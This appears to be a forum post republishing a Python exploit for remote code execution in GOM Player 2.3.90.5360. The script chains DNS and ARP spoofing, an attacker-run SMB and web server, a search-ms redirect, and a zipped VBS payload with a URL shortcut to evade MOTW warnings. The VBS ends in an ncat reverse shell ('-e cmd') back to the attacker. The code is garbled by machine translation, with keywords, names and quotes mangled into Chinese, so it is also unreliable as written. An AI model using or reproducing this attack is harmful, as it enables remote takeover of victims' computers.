H

GOM播放器2.3.90.5360-远程代码执行(RCE)

HackApt-37 Team已验证会员

黑客倉庫站長

贡献: 83%
#利用标题: GOM播放器2.3.90.5360-远程代码执行(RCE)
#日期: 26.08.2023
#作者: M.AkilGündoğan
#Contact: https://twitter.com/AkilGundoGan
#供应商homepage3360 https://www.gomab.com/gomplayer-media-player/
#软件link: https://cdn.gomab.com/gretech/player/gomplayerglobalsetup_new.exe
#版本: 2.3.90.5360
#测试ON: Windows 10 Pro x64 22H2 19045.3324
#POC VIDEO:
#Impact: GOM播放器已下载63,952,102次。它在全球数百万人使用。
#漏洞描述:
#GOM播放器接口中的IE组件使用不安全的HTTP连接。由于IE容易受到影响
#SMB/WebDav+'search-MS'技术,我们可以将受害者重定向到我们创建的DNS欺骗并在目标上执行代码的页面。
#此外,使用URL+ZIP+VBS MOTW旁路技术来防止受害者在弹出窗口中看到任何警告。
#全面披露,开发人员应该对软件安全性更加谨慎。
#利用USAGE:运行它并输入目标的IP地址。然后指定要收听反向外壳的端口。
#一些意大利面条和一个不良代码,但有效:)
Banner='''\ 033 [38; 5; 196m+------------------------------------------------------------------------------------------+
| GOM播放器2.3.90.5360-远程代码执行|
|测试Edildi,Sinifta Kaldi。 BU OYUN HIC BITMEYECEK :-)|
+---------------------------------------------------------------------------------------- +\ 033 [0M''' +''''
\ 033 [38; 5; 117m [*] - 作者: M. akil gundogan -rootkit.com.tr \ n \ 033 [0m''''''
导入时间,OS,Zipfile,子进程,插座,系统
印刷(横幅)
如果os.geteuid()!=0:
打印(“您需要根特权来运行利用,请使用sudo .')
sys.exit(1)
targetip=输入(' - 目标IP地址:')
linterport=输入(' - 反向shell:'的听力端口)
def fcreate(文件名,filecontent):#文件创建func。
F=打开(文件名,'W')
F.Write(filecontent)
f.close()
gw=os.popen('ip -4路由显示默认值')。read()。split()
s=socket.socket(socket.af_inet,socket.sock_dgram)
s.connect((GW [2],0))
ipaddr=s.getSockName()[0]
网关=GW [2]
主机=socket.gethostname()
打印(' - 我的ip:',ipaddr,'gateway:',网关,'host:',主机)
打印('\ n [*] - 阶段1:下载必要工具.')
smbfoldername='gomupdater'#更改此(可选)
expworkdir='gomexploitdir'#更改此(可选)
OS.System('Mkdir' + ExpworkDir +' /dev /null 21')#为漏洞创建一个工作目录。
time.sleep(1)#这是利用稳定性的必要条件。
OS.System('CD' + ExpWorkDir +'Mkdir SMB共享网络共享/dev /null 21')#为exploit创建一个工作目录。
time.sleep(1)#这是利用稳定性的必要条件。
os.system('cd ' + expWorkDir + '/smb-shared wget https://nmap.org/dist/ncat-portable-5.59BETA1.zip /dev/null 21 unzip -o -j ncat-portable-5.59BETA1.zip /dev/null 21 rm -rf ncat-portable-5.59BETA1.zip README') #下载ncat
打印('[*] - NCAT已下载。')
subprocess.run('git克隆3https://github.com/fortra/impacket.git' + expworkdir +'/impacket/dev/dev/null 21',shell=true)#下载Impacket
print('[*] - 已下载弹丸。')
subprocess.run('git克隆https://github.com/dtrecherel/dnsspoof.git' + expworkdir +'/dnsspoof/dev/dev/null 21',shell=true)
print('[*] - 已下载了dnsspoof.py。')
打印('[*] - 阶段2:创建攻击者SMB服务器.')
subprocess.popen('cd gomexploitdir/impacket/示例python3 smbserver.py'+smbfoldername+'./././smb-shared -smb2support/dev/null 21',shell=true)#运行SMB服务器。
time.sleep(5)#这是利用稳定性的必要条件。
smbip=ipaddr
spoofurl='playinfo.gomlab.com'#引起漏洞的网页,因为它被用作http
打印('[*] - 阶段3:创建攻击者网页.')
#更改此(可选)
screenexppage='''
meta charset='utf-8'
脚本窗口。
scriptwindow.location.href='搜索MS:DISPLAYNAME=GOM Player updaterCrumb=System.generic.generic.generic.generic.genercy%3AupDaterCrumb=location:%5C%5C%5C'''+SMBIP+''''''''''';
/脚本
'''
fcreate(expworkdir +'/web shared/screen.html',screenexppage)
time.sleep(3)#这是利用稳定性的必要条件。
print('[*] - 阶段4:创建url+vbs用于motw,将其放在邮政编码中.')
vbsCommand=''set shell=createObject('wscript.shell')
shell.run('xcopy /y \\\\ yogurt \\ ayran \\ ncat.exe%temp%')
wscript.Sleep 5000
shell.run('cmd /c start /min cmd /c%temp%\\ ncat.exe Attackerip Attackerport -e cmd')''''#更改此(可选)
vbsCommand=vbscommand.replace('Yogurt',smbip).replace('ayran',smbfoldername).replace('Attackerip',smbip).replace('Attackerport',listerport'
fcreate(expworkdir +'/payload.vbs',vbsCommand)
urlShortCut='''[Internet ShortCut]
url=file: //'''+smbip+'/'+smbfoldername+''''''''''''''''''''''''''''''''''''/archive.zip/payload.vbs
idlist='''
fcreate(expworkdir +'/smb-shared/updater.url'curlshortcut)
time.sleep(3)#这是利用稳定性的必要条件。
ZipName=expworkdir +'/smb-shared/archive.zip'
payload_filename=os.path.join(expworkdir,'paryload.vbs')
用zipfile.zipfile(Zipname,'w')作为malzip:
malzip.write(payload_filename,arcname=os.path.basename(payload_filename))
打印('[*] - 阶段5:运行攻击者的Web服务器.')
subprocess.popen('cd' + expworkdir +'/web共享python3 -m http.server 80/dev/null 21',shell=true)#python mini http.server
time.sleep(3)#这是利用稳定性的必要条件。
打印('[*] - 阶段6:执行DNS和ARP欺骗目标.')
subprocess.popen('python3' + expworkdir +'/dnsspooof/dnsspooof.py.py -d' + spoofurl +'-t' + targetip +'/dev/null 21',shell=true,shell=true)#dns欺骗.
time.sleep(10)#它是利用稳定性的必要条件。
OS.System('ping -c 5' + targetip +' /dev /null 21')#ping目标.
OS.System('Arping -C 5' + Targetip +' /dev /null 21')#抬高目标。
打印('[*] - 阶段7:等待目标打开GOM播放器并执行恶意URL快捷方式. \ n')
subprocess.run('nc -lvnp' + linterport,shell=true)
subprocess.run('pkill -f smbserver.py pkill -f http.server pkill -f dnsspoof.py',shell=true)#开发后关闭背景过程.
 
后退
顶部